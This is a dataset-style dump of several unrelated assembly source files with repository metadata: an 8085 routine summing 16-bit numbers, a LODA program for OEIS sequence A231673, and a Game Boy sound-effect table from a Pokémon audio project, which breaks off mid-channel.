;Add N 16 bit numbers ;Input : 00A0H <- N ; 00A1H <- list start ;Output : 00B0H <- sum LXI H, 00A0H MOV C, M MVI B, 00H MVI D, 00H MVI E, 00H LOOP: INX H MOV A, M ADD E MOV E, A INX H MOV A, M ADC D MOV D, A MVI A, 00H ADC B MOV B, A DCR C JNZ LOOP STA 00B2H MOV A, D STA 00B1H MOV A, E STA 00B0H HLT
11.607143
23
0.596923
7c60a28ed728899eda42fd2f5067542cce8fbc46
1,510
asm
Assembly
programs/oeis/231/A231673.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/231/A231673.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/231/A231673.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A231673: a(n) = Sum_{i=0..n} digsum_6(i)^2, where digsum_6(i) = A053827(i). ; 0,1,5,14,30,55,56,60,69,85,110,146,150,159,175,200,236,285,294,310,335,371,420,484,500,525,561,610,674,755,780,816,865,929,1010,1110,1111,1115,1124,1140,1165,1201,1205,1214,1230,1255,1291,1340,1349,1365,1390,1426,1475,1539,1555,1580,1616,1665,1729,1810,1835,1871,1920,1984,2065,2165,2201,2250,2314,2395,2495,2616,2620,2629,2645,2670,2706,2755,2764,2780,2805,2841,2890,2954,2970,2995,3031,3080,3144,3225,3250,3286,3335,3399,3480,3580,3616,3665,3729,3810,3910,4031,4080,4144,4225,4325,4446,4590,4599,4615,4640,4676,4725,4789,4805,4830,4866,4915,4979,5060,5085,5121,5170,5234,5315,5415,5451,5500,5564,5645,5745,5866,5915,5979,6060,6160,6281,6425,6489,6570,6670,6791,6935,7104,7120,7145,7181,7230,7294,7375,7400,7436,7485,7549,7630,7730,7766,7815,7879,7960,8060,8181,8230,8294,8375,8475,8596,8740,8804,8885,8985,9106,9250,9419,9500,9600,9721,9865,10034,10230,10255,10291,10340,10404,10485,10585,10621,10670,10734,10815,10915,11036,11085,11149,11230,11330,11451,11595,11659,11740,11840,11961,12105,12274,12355,12455,12576,12720,12889,13085,13185,13306,13450,13619,13815,14040,14041,14045,14054,14070,14095,14131,14135,14144,14160,14185,14221,14270,14279,14295,14320,14356,14405,14469,14485,14510,14546,14595,14659,14740,14765,14801,14850,14914,14995,15095,15131,15180,15244,15325 mov $7,$0 add $7,1 lpb $7 clr $0,5 sub $7,1 sub $0,$7 cal $0,53827 ; Sum of digits of (n written in base 6). pow $0,2 add $6,$0 lpe mov $1,$6
100.666667
1,276
0.766225
864e5655844951cfb48e8fa93dbbd7d6efab6d9a
89,823
asm
Assembly
audio/sfx.asm
MathyFurret/CryEd
395f04b261ba7970226b47e7c50406a58eb2fda0
[ "MIT" ]
1
2019-02-12T03:36:48.000Z
2019-02-12T03:36:48.000Z
audio/sfx.asm
MathyFurret/CryEd
395f04b261ba7970226b47e7c50406a58eb2fda0
[ "MIT" ]
null
null
null
audio/sfx.asm
MathyFurret/CryEd
395f04b261ba7970226b47e7c50406a58eb2fda0
[ "MIT" ]
1
2021-03-27T00:03:08.000Z
2021-03-27T00:03:08.000Z
Sfx_PokeballsPlacedOnTable: ; f0941 musicheader 1, 5, Sfx_PokeballsPlacedOnTable_Ch5 ; f0944 Sfx_BallWobble: ; f0944 musicheader 1, 5, Sfx_BallWobble_Ch5 ; f0947 Sfx_Potion: ; f0947 musicheader 1, 5, Sfx_Potion_Ch5 ; f094a Sfx_FullHeal: ; f094a musicheader 1, 5, Sfx_FullHeal_Ch5 ; f094d Sfx_Menu: ; f094d musicheader 1, 8, Sfx_Menu_Ch8 ; f0950 Sfx_ReadText2: ; f0950 Sfx_ReadText: ; f0950 musicheader 1, 5, Sfx_ReadText2_Ch5 ; f0953 Sfx_Poison: ; f0953 musicheader 1, 5, Sfx_Poison_Ch5 ; f0956 Sfx_GotSafariBalls: ; f0956 musicheader 1, 5, Sfx_GotSafariBalls_Ch5 ; f0959 Sfx_BootPc: ; f0959 musicheader 1, 5, Sfx_BootPc_Ch5 ; f095c Sfx_ShutDownPc: ; f095c musicheader 1, 5, Sfx_ShutDownPc_Ch5 ; f095f Sfx_ChoosePcOption: ; f095f musicheader 1, 5, Sfx_ChoosePcOption_Ch5 ; f0962 Sfx_EscapeRope: ; f0962 musicheader 1, 5, Sfx_EscapeRope_Ch5 ; f0965 Sfx_PushButton: ; f0965 musicheader 1, 5, Sfx_PushButton_Ch5 ; f0968 Sfx_SecondPartOfItemfinder: ; f0968 musicheader 1, 5, Sfx_SecondPartOfItemfinder_Ch5 ; f096b Sfx_WarpTo: ; f096b musicheader 1, 5, Sfx_WarpTo_Ch5 ; f096e Sfx_WarpFrom: ; f096e musicheader 1, 5, Sfx_WarpFrom_Ch5 ; f0971 Sfx_ChangeDexMode: ; f0971 musicheader 1, 5, Sfx_ChangeDexMode_Ch5 ; f0974 Sfx_JumpOverLedge: ; f0974 musicheader 1, 5, Sfx_JumpOverLedge_Ch5 ; f0977 Sfx_GrassRustle: ; f0977 musicheader 1, 8, Sfx_GrassRustle_Ch8 ; f097a Sfx_Fly: ; f097a musicheader 1, 8, Sfx_Fly_Ch8 ; f097d Sfx_Wrong: ; f097d musicheader 2, 5, Sfx_Wrong_Ch5 musicheader 1, 6, Sfx_Wrong_Ch6 ; f0983 Sfx_Squeak: ; f0983 musicheader 1, 5, Sfx_Squeak_Ch5 ; f0986 Sfx_Strength: ; f0986 musicheader 1, 8, Sfx_Strength_Ch8 ; f0989 Sfx_Boat: ; f0989 musicheader 2, 5, Sfx_Boat_Ch5 musicheader 1, 6, Sfx_Boat_Ch6 ; f098f Sfx_WallOpen: ; f098f musicheader 1, 5, Sfx_WallOpen_Ch5 ; f0992 Sfx_PlacePuzzlePieceDown: ; f0992 musicheader 1, 8, Sfx_PlacePuzzlePieceDown_Ch8 ; f0995 Sfx_EnterDoor: ; f0995 musicheader 1, 8, Sfx_EnterDoor_Ch8 ; f0998 Sfx_SwitchPokemon: ; f0998 musicheader 2, 5, Sfx_SwitchPokemon_Ch5 musicheader 1, 6, Sfx_SwitchPokemon_Ch6 ; f099e Sfx_Tally: ; f099e musicheader 2, 5, Sfx_Tally_Ch5 musicheader 1, 6, Sfx_Tally_Ch6 ; f09a4 Sfx_Transaction: ; f09a4 musicheader 2, 5, Sfx_Transaction_Ch5 musicheader 1, 6, Sfx_Transaction_Ch6 ; f09aa Sfx_Bump: ; f09aa musicheader 1, 5, Sfx_Bump_Ch5 ; f09ad Sfx_ExitBuilding: ; f09ad musicheader 1, 8, Sfx_ExitBuilding_Ch8 ; f09b0 Sfx_Save: ; f09b0 musicheader 2, 5, Sfx_Save_Ch5 musicheader 1, 6, Sfx_Save_Ch6 ; f09b6 Sfx_Save_Ch5: ; f09b6 dutycycle $2 sound __, 3, $f1, $0700 sound __, 2, $e1, $0600 sound __, 2, $e1, $0680 sound __, 2, $e1, $06c0 sound __, 3, $e1, $0700 sound __, 3, $e1, $07c0 sound __, 16, $f2, $07e0 endchannel ; f09d5 Sfx_Save_Ch6: ; f09d5 dutycycle $2 sound __, 3, $8, 0 sound __, 3, $a1, $0701 sound __, 2, $91, $0601 sound __, 2, $91, $0681 sound __, 2, $91, $06c1 sound __, 3, $91, $0701 sound __, 3, $91, $07c1 sound __, 16, $d2, $07e1 endchannel ; f09f8 Sfx_Pokeflute: ; f09f8 musicheader 1, 7, Sfx_Pokeflute_Ch7 ; f09fb Sfx_ElevatorEnd: ; f09fb musicheader 1, 5, Sfx_ElevatorEnd_Ch5 ; f09fe Sfx_ThrowBall: ; f09fe musicheader 2, 5, Sfx_ThrowBall_Ch5 musicheader 1, 6, Sfx_ThrowBall_Ch6 ; f0a04 Sfx_BallPoof: ; f0a04 musicheader 2, 5, Sfx_BallPoof_Ch5 musicheader 1, 8, Sfx_BallPoof_Ch8 ; f0a0a Sfx_Unknown3A: ; f0a0a musicheader 2, 5, Sfx_Unknown3A_Ch5 musicheader 1, 8, Sfx_Unknown3A_Ch8 ; f0a10 Sfx_Run: ; f0a10 musicheader 1, 8, Sfx_Run_Ch8 ; f0a13 Sfx_SlotMachineStart: ; f0a13 musicheader 2, 5, Sfx_SlotMachineStart_Ch5 musicheader 1, 6, Sfx_SlotMachineStart_Ch6 ; f0a19 Sfx_Call: ; f0a19 musicheader 1, 5, Sfx_Call_Ch5 ; f0a1c Sfx_Unknown60: ; f0a1c musicheader 1, 8, Sfx_Unknown60_Ch8 ; f0a1f Sfx_Unknown61: ; f0a1f musicheader 1, 8, Sfx_Unknown61_Ch8 ; f0a22 Sfx_SwitchPockets: ; f0a22 musicheader 1, 8, Sfx_SwitchPockets_Ch8 ; f0a25 Sfx_Unknown63: ; f0a25 musicheader 1, 8, Sfx_Unknown63_Ch8 ; f0a28 Sfx_Burn: ; f0a28 musicheader 1, 8, Sfx_Burn_Ch8 ; f0a2b Sfx_TitleScreenEntrance: ; f0a2b musicheader 1, 8, Sfx_TitleScreenEntrance_Ch8 ; f0a2e Sfx_Unknown66: ; f0a2e musicheader 1, 5, Sfx_Unknown66_Ch5 ; f0a31 Sfx_GetCoinFromSlots: ; f0a31 musicheader 1, 5, Sfx_GetCoinFromSlots_Ch5 ; f0a34 Sfx_PayDay: ; f0a34 musicheader 2, 5, Sfx_PayDay_Ch5 musicheader 1, 6, Sfx_PayDay_Ch6 ; f0a3a Sfx_Metronome: ; f0a3a musicheader 1, 5, Sfx_Metronome_Ch5 ; f0a3d Sfx_Peck: ; f0a3d musicheader 1, 8, Sfx_Peck_Ch8 ; f0a40 Sfx_Kinesis: ; f0a40 musicheader 1, 5, Sfx_Kinesis_Ch5 ; f0a43 Sfx_Lick: ; f0a43 musicheader 1, 5, Sfx_Lick_Ch5 ; f0a46 Sfx_Pound: ; f0a46 musicheader 1, 8, Sfx_Pound_Ch8 ; f0a49 Sfx_MovePuzzlePiece: ; f0a49 musicheader 1, 8, Sfx_MovePuzzlePiece_Ch8 ; f0a4c Sfx_CometPunch: ; f0a4c musicheader 1, 8, Sfx_CometPunch_Ch8 ; f0a4f Sfx_MegaPunch: ; f0a4f musicheader 1, 8, Sfx_MegaPunch_Ch8 ; f0a52 Sfx_Scratch: ; f0a52 musicheader 1, 8, Sfx_Scratch_Ch8 ; f0a55 Sfx_Vicegrip: ; f0a55 musicheader 1, 8, Sfx_Vicegrip_Ch8 ; f0a58 Sfx_RazorWind: ; f0a58 musicheader 1, 8, Sfx_RazorWind_Ch8 ; f0a5b Sfx_Cut: ; f0a5b musicheader 1, 8, Sfx_Cut_Ch8 ; f0a5e Sfx_WingAttack: ; f0a5e musicheader 1, 8, Sfx_WingAttack_Ch8 ; f0a61 Sfx_Whirlwind: ; f0a61 musicheader 1, 8, Sfx_Whirlwind_Ch8 ; f0a64 Sfx_Bind: ; f0a64 musicheader 1, 8, Sfx_Bind_Ch8 ; f0a67 Sfx_VineWhip: ; f0a67 musicheader 1, 8, Sfx_VineWhip_Ch8 ; f0a6a Sfx_DoubleKick: ; f0a6a musicheader 1, 8, Sfx_DoubleKick_Ch8 ; f0a6d Sfx_MegaKick: ; f0a6d musicheader 1, 8, Sfx_MegaKick_Ch8 ; f0a70 Sfx_Headbutt: ; f0a70 musicheader 1, 8, Sfx_Headbutt_Ch8 ; f0a73 Sfx_HornAttack: ; f0a73 musicheader 1, 8, Sfx_HornAttack_Ch8 ; f0a76 Sfx_Tackle: ; f0a76 musicheader 1, 8, Sfx_Tackle_Ch8 ; f0a79 Sfx_PoisonSting: ; f0a79 musicheader 1, 8, Sfx_PoisonSting_Ch8 ; f0a7c Sfx_Powder: ; f0a7c musicheader 1, 8, Sfx_Powder_Ch8 ; f0a7f Sfx_Doubleslap: ; f0a7f musicheader 1, 8, Sfx_Doubleslap_Ch8 ; f0a82 Sfx_Bite: ; f0a82 musicheader 2, 5, Sfx_Bite_Ch5 musicheader 1, 8, Sfx_Bite_Ch8 ; f0a88 Sfx_JumpKick: ; f0a88 musicheader 1, 8, Sfx_JumpKick_Ch8 ; f0a8b Sfx_Stomp: ; f0a8b musicheader 1, 8, Sfx_Stomp_Ch8 ; f0a8e Sfx_TailWhip: ; f0a8e musicheader 1, 8, Sfx_TailWhip_Ch8 ; f0a91 Sfx_KarateChop: ; f0a91 musicheader 1, 8, Sfx_KarateChop_Ch8 ; f0a94 Sfx_Submission: ; f0a94 musicheader 1, 8, Sfx_Submission_Ch8 ; f0a97 Sfx_WaterGun: ; f0a97 musicheader 2, 5, Sfx_WaterGun_Ch5 musicheader 1, 8, Sfx_WaterGun_Ch8 ; f0a9d Sfx_SwordsDance: ; f0a9d musicheader 1, 8, Sfx_SwordsDance_Ch8 ; f0aa0 Sfx_Thunder: ; f0aa0 musicheader 1, 8, Sfx_Thunder_Ch8 ; f0aa3 Sfx_Supersonic: ; f0aa3 musicheader 3, 5, Sfx_Supersonic_Ch5 musicheader 1, 6, Sfx_Supersonic_Ch6 musicheader 1, 8, Sfx_Supersonic_Ch8 ; f0aac Sfx_Leer: ; f0aac musicheader 3, 5, Sfx_Leer_Ch5 musicheader 1, 6, Sfx_Leer_Ch6 musicheader 1, 8, Sfx_Leer_Ch8 ; f0ab5 Sfx_Ember: ; f0ab5 musicheader 2, 5, Sfx_Ember_Ch5 musicheader 1, 8, Sfx_Ember_Ch8 ; f0abb Sfx_Bubblebeam: ; f0abb musicheader 3, 5, Sfx_Bubblebeam_Ch5 musicheader 1, 6, Sfx_Bubblebeam_Ch6 musicheader 1, 8, Sfx_Bubblebeam_Ch8 ; f0ac4 Sfx_HydroPump: ; f0ac4 musicheader 2, 5, Sfx_HydroPump_Ch5 musicheader 1, 8, Sfx_HydroPump_Ch8 ; f0aca Sfx_Surf: ; f0aca musicheader 3, 5, Sfx_Surf_Ch5 musicheader 1, 6, Sfx_Surf_Ch6 musicheader 1, 8, Sfx_Surf_Ch8 ; f0ad3 Sfx_Psybeam: ; f0ad3 musicheader 3, 5, Sfx_Psybeam_Ch5 musicheader 1, 6, Sfx_Psybeam_Ch6 musicheader 1, 8, Sfx_Psybeam_Ch8 ; f0adc Sfx_Charge: ; f0adc musicheader 3, 5, Sfx_Charge_Ch5 musicheader 1, 6, Sfx_Charge_Ch6 musicheader 1, 8, Sfx_Charge_Ch8 ; f0ae5 Sfx_Thundershock: ; f0ae5 musicheader 3, 5, Sfx_Thundershock_Ch5 musicheader 1, 6, Sfx_Thundershock_Ch6 musicheader 1, 8, Sfx_Thundershock_Ch8 ; f0aee Sfx_Psychic: ; f0aee musicheader 3, 5, Sfx_Psychic_Ch5 musicheader 1, 6, Sfx_Psychic_Ch6 musicheader 1, 8, Sfx_Psychic_Ch8 ; f0af7 Sfx_Screech: ; f0af7 musicheader 2, 5, Sfx_Screech_Ch5 musicheader 1, 6, Sfx_Screech_Ch6 ; f0afd Sfx_BoneClub: ; f0afd musicheader 2, 5, Sfx_BoneClub_Ch5 musicheader 1, 6, Sfx_BoneClub_Ch6 ; f0b03 Sfx_Sharpen: ; f0b03 musicheader 2, 5, Sfx_Sharpen_Ch5 musicheader 1, 6, Sfx_Sharpen_Ch6 ; f0b09 Sfx_EggBomb: ; f0b09 musicheader 3, 5, Sfx_EggBomb_Ch5 musicheader 1, 6, Sfx_EggBomb_Ch6 musicheader 1, 8, Sfx_EggBomb_Ch8 ; f0b12 Sfx_Sing: ; f0b12 musicheader 2, 5, Sfx_Sing_Ch5 musicheader 1, 6, Sfx_Sing_Ch6 ; f0b18 Sfx_HyperBeam: ; f0b18 musicheader 3, 5, Sfx_HyperBeam_Ch5 musicheader 1, 6, Sfx_HyperBeam_Ch6 musicheader 1, 8, Sfx_HyperBeam_Ch8 ; f0b21 Sfx_Shine: ; f0b21 musicheader 1, 5, Sfx_Shine_Ch5 ; f0b24 Sfx_Unknown5F: ; f0b24 musicheader 3, 5, Sfx_Unknown5F_Ch5 musicheader 1, 6, Sfx_Unknown5F_Ch6 Sfx_Sandstorm: ; f0b2a musicheader 1, 8, Sfx_Sandstorm_Ch8 ; f0b2d Sfx_HangUp: ; f0b2d musicheader 1, 5, Sfx_HangUp_Ch5 ; f0b30 Sfx_NoSignal: ; f0b30 musicheader 1, 5, Sfx_NoSignal_Ch5 ; f0b33 Sfx_Elevator: ; f0b33 musicheader 4, 5, Sfx_Elevator_Ch5 musicheader 1, 6, Sfx_Elevator_Ch6 musicheader 1, 7, Sfx_Elevator_Ch7 musicheader 1, 8, Sfx_Elevator_Ch8 ; f0b3f Sfx_DexFanfare5079: ; f0b3f Sfx_LevelUp: ; f0b3f musicheader 4, 5, Sfx_DexFanfare5079_Ch5 musicheader 1, 6, Sfx_DexFanfare5079_Ch6 musicheader 1, 7, Sfx_DexFanfare5079_Ch7 musicheader 1, 8, Sfx_DexFanfare5079_Ch8 ; f0b4b Sfx_DexFanfare5079_Ch5: ; f0b4b Sfx_LevelUp_Ch5: ; f0b4b togglesfx tempo 120 volume $77 dutycycle $2 notetype $8, $b1 octave 3 note B_, 2 note B_, 2 note B_, 2 intensity $b3 octave 4 note G#, 12 endchannel ; f0b5f Sfx_DexFanfare5079_Ch6: ; f0b5f Sfx_LevelUp_Ch6: ; f0b5f togglesfx dutycycle $2 notetype $8, $c1 octave 4 note E_, 2 note E_, 2 note E_, 2 intensity $c3 note B_, 12 endchannel ; f0b6d Sfx_DexFanfare5079_Ch7: ; f0b6d Sfx_LevelUp_Ch7: ; f0b6d togglesfx notetype $8, $25 octave 4 note G#, 1 note __, 1 note G#, 1 note __, 1 note G#, 1 note __, 1 octave 5 note E_, 5 intensity $35 note E_, 3 note __, 4 endchannel ; f0b7f Sfx_DexFanfare5079_Ch8: ; f0b7f Sfx_LevelUp_Ch8: ; f0b7f togglesfx sfxtogglenoise $4 notetype $c note C_, 12 endchannel ; f0b86 Sfx_KeyItem: ; f0b86 musicheader 4, 5, Sfx_KeyItem_Ch5 musicheader 1, 6, Sfx_KeyItem_Ch6 musicheader 1, 7, Sfx_KeyItem_Ch7 musicheader 1, 8, Sfx_KeyItem_Ch8 ; f0b92 Sfx_KeyItem_Ch5: ; f0b92 togglesfx tempo 120 volume $77 dutycycle $2 notetype $6, $b1 octave 3 note B_, 4 note B_, 2 note B_, 2 note B_, 4 octave 4 note E_, 4 intensity $b3 note G#, 16 endchannel ; f0ba8 Sfx_KeyItem_Ch6: ; f0ba8 togglesfx dutycycle $2 notetype $6, $c1 octave 4 note E_, 4 note E_, 2 note E_, 2 note E_, 4 note G#, 4 intensity $c3 note B_, 16 endchannel ; f0bb8 Sfx_KeyItem_Ch7: ; f0bb8 togglesfx notetype $6, $25 octave 4 note G#, 2 note __, 2 note G#, 1 note __, 1 note G#, 1 note __, 1 note G#, 2 note __, 2 note B_, 2 note __, 2 octave 5 note E_, 8 intensity $35 note E_, 4 note __, 4 endchannel ; f0bce Sfx_KeyItem_Ch8: ; f0bce togglesfx sfxtogglenoise $4 notetype $c note C_, 16 endchannel ; f0bd5 Sfx_DexFanfare2049: ; f0bd5 musicheader 4, 5, Sfx_DexFanfare2049_Ch5 musicheader 1, 6, Sfx_DexFanfare2049_Ch6 musicheader 1, 7, Sfx_DexFanfare2049_Ch7 musicheader 1, 8, Sfx_DexFanfare2049_Ch8 ; f0be1 Sfx_DexFanfare2049_Ch5: ; f0be1 togglesfx tempo 104 volume $77 dutycycle $2 notetype $c, $88 octave 3 note A_, 4 note __, 2 note A_, 1 note __, 1 note A#, 4 note __, 2 note A#, 1 note __, 1 octave 4 note C_, 2 note __, 2 octave 3 note A#, 2 note __, 2 note A_, 2 note __, 6 endchannel ; f0bfe Sfx_DexFanfare2049_Ch6: ; f0bfe togglesfx dutycycle $2 notetype $c, $c1 octave 5 note F_, 2 note E_, 2 note D_, 2 note C_, 2 octave 4 note A#, 2 octave 5 note C_, 2 note D_, 2 note E_, 2 note F_, 4 note G_, 4 note F_, 8 endchannel ; f0c13 Sfx_DexFanfare2049_Ch7: ; f0c13 togglesfx notetype $c, $25 octave 4 note F_, 4 note __, 2 note F_, 1 note __, 1 note F_, 4 note __, 2 note F_, 1 note __, 1 note A_, 2 note __, 2 note E_, 2 note __, 2 note F_, 2 note __, 6 endchannel ; f0c27 Sfx_DexFanfare2049_Ch8: ; f0c27 togglesfx sfxtogglenoise $4 notetype $c note C_, 16 note __, 16 endchannel ; f0c2f Sfx_Item: ; f0c2f musicheader 4, 5, Sfx_Item_Ch5 musicheader 1, 6, Sfx_Item_Ch6 musicheader 1, 7, Sfx_Item_Ch7 musicheader 1, 8, Sfx_Item_Ch8 ; f0c3b Sfx_Item_Ch5: ; f0c3b togglesfx tempo 108 volume $77 vibrato $8, $27 dutycycle $2 notetype $8, $b2 octave 4 note C_, 6 note C_, 2 note F_, 2 note C_, 2 note G_, 4 note G_, 4 note G_, 4 note F_, 12 note __, 12 endchannel ; f0c54 Sfx_Item_Ch6: ; f0c54 togglesfx vibrato $8, $27 dutycycle $2 notetype $8, $c3 octave 4 note A_, 6 note A_, 2 note A_, 2 note A_, 2 note A#, 4 note A#, 4 note A#, 4 note A_, 12 note __, 12 endchannel ; f0c68 Sfx_Item_Ch7: ; f0c68 togglesfx notetype $8, $25 octave 4 note F_, 4 note __, 2 note F_, 1 note __, 1 note F_, 1 note __, 1 note F_, 1 note __, 1 note D#, 2 note __, 2 note D#, 2 note __, 2 note E_, 2 note __, 2 note F_, 6 intensity $35 note F_, 4 note __, 14 endchannel ; f0c81 Sfx_Item_Ch8: ; f0c81 togglesfx sfxtogglenoise $4 notetype $c note C_, 16 note __, 16 endchannel ; f0c89 Sfx_CaughtMon: ; f0c89 musicheader 4, 5, Sfx_CaughtMon_Ch5 musicheader 1, 6, Sfx_CaughtMon_Ch6 musicheader 1, 7, Sfx_CaughtMon_Ch7 musicheader 1, 8, Sfx_CaughtMon_Ch8 ; f0c95 Sfx_CaughtMon_Ch5: ; f0c95 togglesfx tempo 112 volume $77 vibrato $8, $27 dutycycle $2 notetype $8, $b3 octave 4 note C_, 6 octave 3 note A_, 6 note F_, 12 intensity $b1 octave 4 note D#, 2 note D#, 2 note D#, 2 note D#, 2 note D#, 2 note G_, 2 intensity $b3 note F_, 12 endchannel ; f0cb5 Sfx_CaughtMon_Ch6: ; f0cb5 togglesfx dutycycle $2 vibrato $8, $27 notetype $8, $c3 octave 4 note A_, 6 note F_, 6 note C_, 12 intensity $c1 note A#, 2 note A#, 2 note A#, 2 note G_, 2 note G_, 2 note A#, 2 intensity $c3 note A_, 12 endchannel ; f0cce Sfx_CaughtMon_Ch7: ; f0cce togglesfx notetype $8, $25 octave 3 note C_, 12 note C_, 6 octave 2 note A_, 2 octave 3 note C_, 2 note F_, 2 note G_, 6 note A#, 6 note A_, 6 intensity $35 note A_, 3 note __, 3 endchannel ; f0ce2 Sfx_CaughtMon_Ch8: ; f0ce2 togglesfx sfxtogglenoise $4 notetype $c note C_, 16 note __, 16 endchannel ; f0cea Sfx_DexFanfare80109: ; f0cea musicheader 4, 5, Sfx_DexFanfare80109_Ch5 musicheader 1, 6, Sfx_DexFanfare80109_Ch6 musicheader 1, 7, Sfx_DexFanfare80109_Ch7 musicheader 1, 8, Sfx_DexFanfare80109_Ch8 ; f0cf6 Sfx_DexFanfare80109_Ch5: ; f0cf6 togglesfx tempo 112 volume $77 vibrato $8, $27 dutycycle $2 notetype $c, $b1 octave 4 note D#, 2 note D#, 1 note D#, 1 octave 3 note A#, 2 note A#, 1 note A#, 1 octave 4 note D#, 2 note D#, 1 note D#, 1 note F_, 2 note F_, 1 note F_, 1 intensity $a5 note A#, 16 endchannel ; f0d17 Sfx_DexFanfare80109_Ch6: ; f0d17 togglesfx vibrato $8, $27 dutycycle $2 notetype $c, $c1 octave 4 note G_, 2 note G_, 1 note G_, 1 note D#, 2 note D#, 1 note D#, 1 note G#, 2 note G#, 1 note G#, 1 note A#, 2 note A#, 1 note A#, 1 intensity $b5 octave 5 note D#, 16 endchannel ; f0d32 Sfx_DexFanfare80109_Ch7: ; f0d32 togglesfx notetype $c, $25 octave 4 note D#, 1 note __, 1 octave 3 note A#, 2 octave 4 note D#, 1 note __, 1 octave 3 note A#, 2 octave 4 note D#, 1 note __, 1 note C_, 2 note D_, 1 note __, 1 octave 3 note A#, 2 note D#, 4 intensity $35 note D#, 3 note __, 9 endchannel ; f0d4e Sfx_DexFanfare80109_Ch8: ; f0d4e togglesfx sfxtogglenoise $4 notetype $c note C_, 16 note __, 16 endchannel ; f0d56 Sfx_Fanfare2: ; f0d56 musicheader 3, 5, Sfx_Fanfare2_Ch5 musicheader 1, 6, Sfx_Fanfare2_Ch6 musicheader 1, 8, Sfx_Fanfare2_Ch8 ; f0d5f UnusedSfx: ; f0d5f musicheader 4, 5, UnusedSfx_Ch5 musicheader 1, 6, UnusedSfx_Ch6 musicheader 1, 7, UnusedSfx_Ch7 musicheader 1, 8, UnusedSfx_Ch8 ; f0d6b UnusedSfx_Ch5: ; f0d6b togglesfx tempo 124 volume $77 vibrato $8, $27 dutycycle $2 notetype $c, $b1 octave 4 note F_, 2 note F_, 1 note F_, 1 note C_, 2 note C_, 1 note C_, 1 note E_, 2 note G_, 1 note G_, 1 note C_, 2 note E_, 1 note E_, 1 intensity $a5 note F_, 16 endchannel ; f0d8a UnusedSfx_Ch6: ; f0d8a togglesfx vibrato $8, $27 dutycycle $2 notetype $c, $c1 octave 4 note A_, 2 note A_, 1 note A_, 1 note F_, 2 note F_, 1 note F_, 1 octave 5 note C_, 2 note C_, 1 note C_, 1 octave 4 note A#, 2 note A#, 1 note A#, 1 intensity $b5 note A_, 16 endchannel ; f0da6 UnusedSfx_Ch7: ; f0da6 togglesfx notetype $c, $25 octave 4 note F_, 8 note C_, 2 note E_, 2 note G_, 2 note A#, 2 note A_, 4 intensity $35 note A_, 3 note __, 9 endchannel ; f0db6 UnusedSfx_Ch8: ; f0db6 togglesfx sfxtogglenoise $4 notetype $c note C_, 16 note __, 16 endchannel ; f0dbe Sfx_Fanfare: ; f0dbe musicheader 3, 5, Sfx_Fanfare_Ch5 musicheader 1, 6, Sfx_Fanfare_Ch6 musicheader 1, 8, Sfx_Fanfare_Ch8 ; f0dc7 Sfx_RegisterPhoneNumber: ; f0dc7 musicheader 4, 5, Sfx_RegisterPhoneNumber_Ch5 musicheader 1, 6, Sfx_RegisterPhoneNumber_Ch6 musicheader 1, 7, Sfx_RegisterPhoneNumber_Ch7 musicheader 1, 8, Sfx_RegisterPhoneNumber_Ch8 ; f0dd3 Sfx_RegisterPhoneNumber_Ch5: ; f0dd3 togglesfx tempo 124 volume $77 dutycycle $3 notetype $c, $a2 note __, 2 octave 3 note C_, 4 note G#, 4 octave 4 note C_, 2 octave 3 note F_, 1 note G#, 2 note C_, 1 note F_, 2 note A#, 3 octave 4 note C#, 3 note C_, 2 note __, 8 endchannel ; f0def togglesfx Sfx_RegisterPhoneNumber_Ch6: ; f0df0 togglesfx dutycycle $3 notetype $c, $c2 note __, 2 octave 4 note D#, 2 note C#, 2 note C_, 2 note D#, 2 note F_, 2 note __, 1 note G#, 3 octave 5 note C_, 2 note D#, 3 octave 4 note G_, 3 note G#, 2 note __, 8 endchannel ; f0e07 togglesfx Sfx_RegisterPhoneNumber_Ch7: ; f0e08 togglesfx notetype $c, $25 note __, 2 octave 3 note D#, 7 note __, 1 note G#, 2 note __, 1 note C_, 2 note __, 1 note G#, 2 note G_, 2 note __, 1 note A#, 3 note G#, 2 note __, 8 endchannel ; f0e1b togglesfx Sfx_RegisterPhoneNumber_Ch8: ; f0e1c togglesfx sfxtogglenoise $4 notetype $c note C_, 2 note __, 16 note __, 16 endchannel ; f0e25 togglesfx Sfx_3RdPlace: ; f0e26 musicheader 3, 5, Sfx_3RdPlace_Ch5 musicheader 1, 6, Sfx_3RdPlace_Ch6 musicheader 1, 7, Sfx_3RdPlace_Ch7 ; f0e2f Sfx_3RdPlace_Ch5: ; f0e2f togglesfx tempo 120 volume $77 dutycycle $2 notetype $c, $a4 octave 4 note F_, 1 note A_, 1 octave 5 note C_, 1 note F_, 1 note __, 1 note C_, 1 note D_, 6 endchannel ; f0e44 togglesfx Sfx_3RdPlace_Ch6: ; f0e45 togglesfx dutycycle $2 notetype $c, $b4 octave 4 note A_, 1 octave 5 note C_, 1 note F_, 1 note A_, 1 note __, 1 note F_, 1 note G_, 6 endchannel ; f0e55 togglesfx Sfx_3RdPlace_Ch7: ; f0e56 togglesfx notetype $c, $25 octave 3 note A_, 1 note F_, 1 note A_, 1 octave 4 note C_, 1 note __, 1 octave 3 note A_, 1 note B_, 6 endchannel ; f0e65 togglesfx Sfx_GetEggFromDayCareLady: ; f0e66 Sfx_GetEggFromDayCareMan: ; f0e66 musicheader 4, 5, Sfx_GetEggFromDayCareLady_Ch5 musicheader 1, 6, Sfx_GetEggFromDayCareLady_Ch6 musicheader 1, 7, Sfx_GetEggFromDayCareLady_Ch7 musicheader 1, 8, Sfx_GetEggFromDayCareLady_Ch8 ; f0e72 Sfx_GetEggFromDayCareLady_Ch5: ; f0e72 Sfx_GetEggFromDayCareMan_Ch5: ; f0e72 togglesfx tempo 120 volume $77 vibrato $12, $34 dutycycle $2 notetype $8, $a1 note __, 2 octave 3 note C_, 2 note F_, 2 note A_, 2 note F_, 2 note A#, 2 octave 4 note D_, 2 intensity $a2 note F_, 6 intensity $a1 dutycycle $3 octave 3 note E_, 2 note G_, 2 octave 4 note C_, 2 intensity $a4 note F_, 9 note __, 9 endchannel ; f0e9a togglesfx Sfx_GetEggFromDayCareLady_Ch6: ; f0e9b Sfx_GetEggFromDayCareMan_Ch6: ; f0e9b togglesfx vibrato $12, $34 dutycycle $3 notetype $8, $c2 note __, 2 octave 4 note 